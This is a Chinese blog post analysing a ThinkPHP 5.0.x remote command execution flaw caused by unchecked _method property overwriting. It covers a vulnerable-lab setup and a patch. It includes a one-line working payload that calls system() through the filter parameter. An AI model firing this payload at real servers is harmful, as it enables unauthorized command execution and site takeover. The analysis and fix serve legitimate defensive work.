专栏首页开心分享-技术交流ThinkPHP5远程命令执行漏洞

ThinkPHP5远程命令执行漏洞

前言

ThinkPHP是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架,是为了敏捷WEB应用开发和简化企 业应用开发而诞生的。由于其简单易用,国内用户众多。

2019年1月11日ThinkPHP团队发布了版本更新,本次更新包含了一个可能GetShell的安全更新,具体内容为改进Request类的method方法。

漏洞描述

Thinphp团队在实现框架中的核心类Requests的method方法实现了表单请求类型伪装,默认为$_POST[‘_method’]变量,却没有对$_POST[‘_method’]属性进行严格校验,可以通过变量覆盖掉Requets类的属性并结合框架特性实现对任意函数的调用达到任意代码执行的效果。

漏洞危害

在未经授权的情况下远程攻击者构造特殊的请求可以在PHP上下文环境中执行任意系统命令,甚至完全控制网站,造成数据泄露,网站内容被修改。

影响范围

受影响版本:ThinkPHP 5.0.x

不受影响版本:ThinkPHP 5.0.24

漏洞分析

本次更新的关键commit如下:

文件路径为:library/think/Request.php ,在修复前的文件526行中,当存在$_POST[‘_method’]变量是将会执行 $this->{$this->method}($_POST),当$_POST[‘_method’]为__construct时及等价于调用$this->_construct($_POST)_construct函数实现如下:

在该函数中,当传入的参数中的key为该Requests属性,将value赋值给该属性,由于key可控制,可以到达属性覆盖的效果。

漏洞复现

通过git 可以快速搭建环境

  1. git clone https://github.com/top-think/think
  2. git checkout v5.0.23
  3. cd think
  4. git clone https://github.com/top-think/framework thinkphp
  5. cd thinkphp
  6. git checkout v5.0.23

通过覆盖filter属性即可达到调用任意函数的效果。

5.0.23且设置了app_debug=true复现截图如下:

Payload如下

  1. _method=__construct&filter[]=system&server[REQUEST_METHOD]=whoami

在早期5.0的版本过滤器的调用有差别payload也会不同

修复方案

1.升级到5.0.24版本

2.或通过修改以下代码来缓解漏洞:

编辑 library/think/Request.php 文件, 查找:

  1. $this->method = strtoupper($_POST[Config::get('var_method')]);
  2. $this->{$this->method}($_POST);

修改为如下

  1. $method = strtoupper($_POST[Config::get('var_method')]);
  2. if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {
  3.     $this->method = $method;
  4.     $this->{$this->method}($_POST);
  5. } else {
  6.     $this->method = ‘POST’;
  7. }
  8. unset($_POST[Config::get('var_method')]);

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • XXL-JOB远程命令执行漏洞

    您好,近日,接国家互联网应急中心报告,XXL-JOB存在远程命令执行漏洞。攻击者通过此漏洞可以向XXL-JOB的执行器下发系统命令,进而可导致服务器被入侵控制,...

    用户7778921
  • Fastjson 1.2.47 远程命令执行漏洞

    Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名...

    黑白天安全
  • ThinkPHP 5.0.0~5.0.23 RCE 漏洞复现

    2019 年 1 月 11 日,360CERT 发现某安全社区出现关于 ThinkPHP5 RCE 漏洞的威胁情报,不久之后 ThinkPHP5 官方与 Git...

    墙角睡大觉
  • Rocket.Chat 远程命令执行漏洞分析

    Rocket.Chat 是一个开源的完全可定制的通信平台,由 Javascript 开发,适用于具有高标准数据保护的组织。

    Seebug漏洞平台
  • yapi 远程命令执行漏洞分析

    Yapi 是高效、易用、功能强大的 api 管理平台,旨在为开发、产品、测试人员提供更优雅的接口管理服务。可以帮助开发者轻松创建、发布、维护 API,YApi ...

    Seebug漏洞平台
  • 漏洞预警 | Windows远程桌面服务远程命令执行漏洞

    北京时间8月14日,微软发布了一套针对远程桌面服务的修复程序,其中包括两个关键的远程执行代码(RCE)漏洞CVE-2019-1181和CVE-2019-1182...

    FB客服
  • Supervisord远程命令执行漏洞(CVE-2017-11610)

    前几天Supervisord出现了一个需认证的远程命令执行漏洞(CVE-2017-11610),在对其进行分析以后,将靶场加入了Vulhub豪华套餐: http...

    phith0n
  • Apache SSI 远程命令执行漏洞复现

    SSI(服务器端包含)是放置在HTML页面中的指令,并在服务页面时在服务器上对其进行评估。它们使您可以将动态生成的内容添加到现有的HTML页面,而不必通过CGI...

    渗透攻击红队
  • 用友 NC bsh.servlet.BshServlet 远程命令执行漏洞

    用友 NC bsh.servlet.BshServlet 存在远程命令执行漏洞,通过BeanShell 执行远程命令获取服务器权限

    Khan安全团队
  • Thinkphp5 5.0.22 / 5.1.29远程执行代码漏洞复现

    2018年12月10日中午,thinkphp官方公众号发布了一个更新通知,包含了一个5.x系列所有版本存在被getshell的高风险漏洞。

    渗透攻击红队
  • GPON Home Gateway 远程命令执行漏洞分析

    2018/04/30,vpnMentor公布了 GPON 路由器的高危漏洞:验证绕过漏洞(CVE-2018-10561)和命令注入漏洞(CVE-2018-105...

    Seebug漏洞平台
  • GPON Home Gateway 远程命令执行漏洞分析

    2018/04/30,vpnMentor公布了 GPON 路由器的高危漏洞:验证绕过漏洞(CVE-2018-10561)和命令注入漏洞(CVE-2018-1...

    Seebug漏洞平台
  • ThinkPHP 5.x远程命令执行漏洞复现

    2018年12月10日,ThinkPHP官方发布了安全更新,其中修复了ThinkPHP5框架的一个高危漏洞:

    砸漏
  • SonicWall SSL-VPN jarrewrite.sh 远程命令执行漏洞 POC

    SonicWall SSL-VPN 历史版本中存在漏洞,远程攻击者利用 CGI 程序处理逻辑漏洞,构造恶意的User-Agent,可造成...

    Khan安全团队
  • Apache Solr 远程命令执行漏洞(CVE-2019-0193)

    Apache Solr 是一个开源的搜索服务器。Solr使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。此次漏洞出现在Apa...

    墙角睡大觉
  • CVE-2017-8464远程命令执行漏洞(震网漏洞)复现

    2017年6月13日,微软官方发布编号为CVE-2017-8464的漏洞公告,官方介绍Windows系统在解析快捷方式时存在远程执行任意代码的高危漏洞,黑客可以...

    伍尚国
  • 【漏洞通告】微信客户端远程命令执行漏洞

    近日,绿盟科技监测到网上披露微信客户端存在远程命令执行漏洞。目前已经发现在野利用,受害者点击链接就会中招,微信Windows PC版进程webchatweb.e...

    绿盟科技安全情报
  • 【漏洞预警】ThinkPHP远程代码执行漏洞处置手册

    近日,ThinkPHP官方发布了更新通告,在新发布的版本中修复了一个高危的远程代码执行漏洞。由于框架对控制器名没有进行足够的检测,会导致在没有开启强制路由的情况...

    绿盟科技安全情报
  • 漏洞复现 | Thinkphp5.x远程代码执行漏洞了解一哈

    晚上闲来无事,复习不想复习,看书看不进去,打开电脑也不知道要干啥,索性就找个漏洞玩吧,下午正好注册了一个在线靶场环境,其中有个Think PHP5.0吸引了我,...

    TeamsSix

扫码关注云+社区

领取腾讯云代金券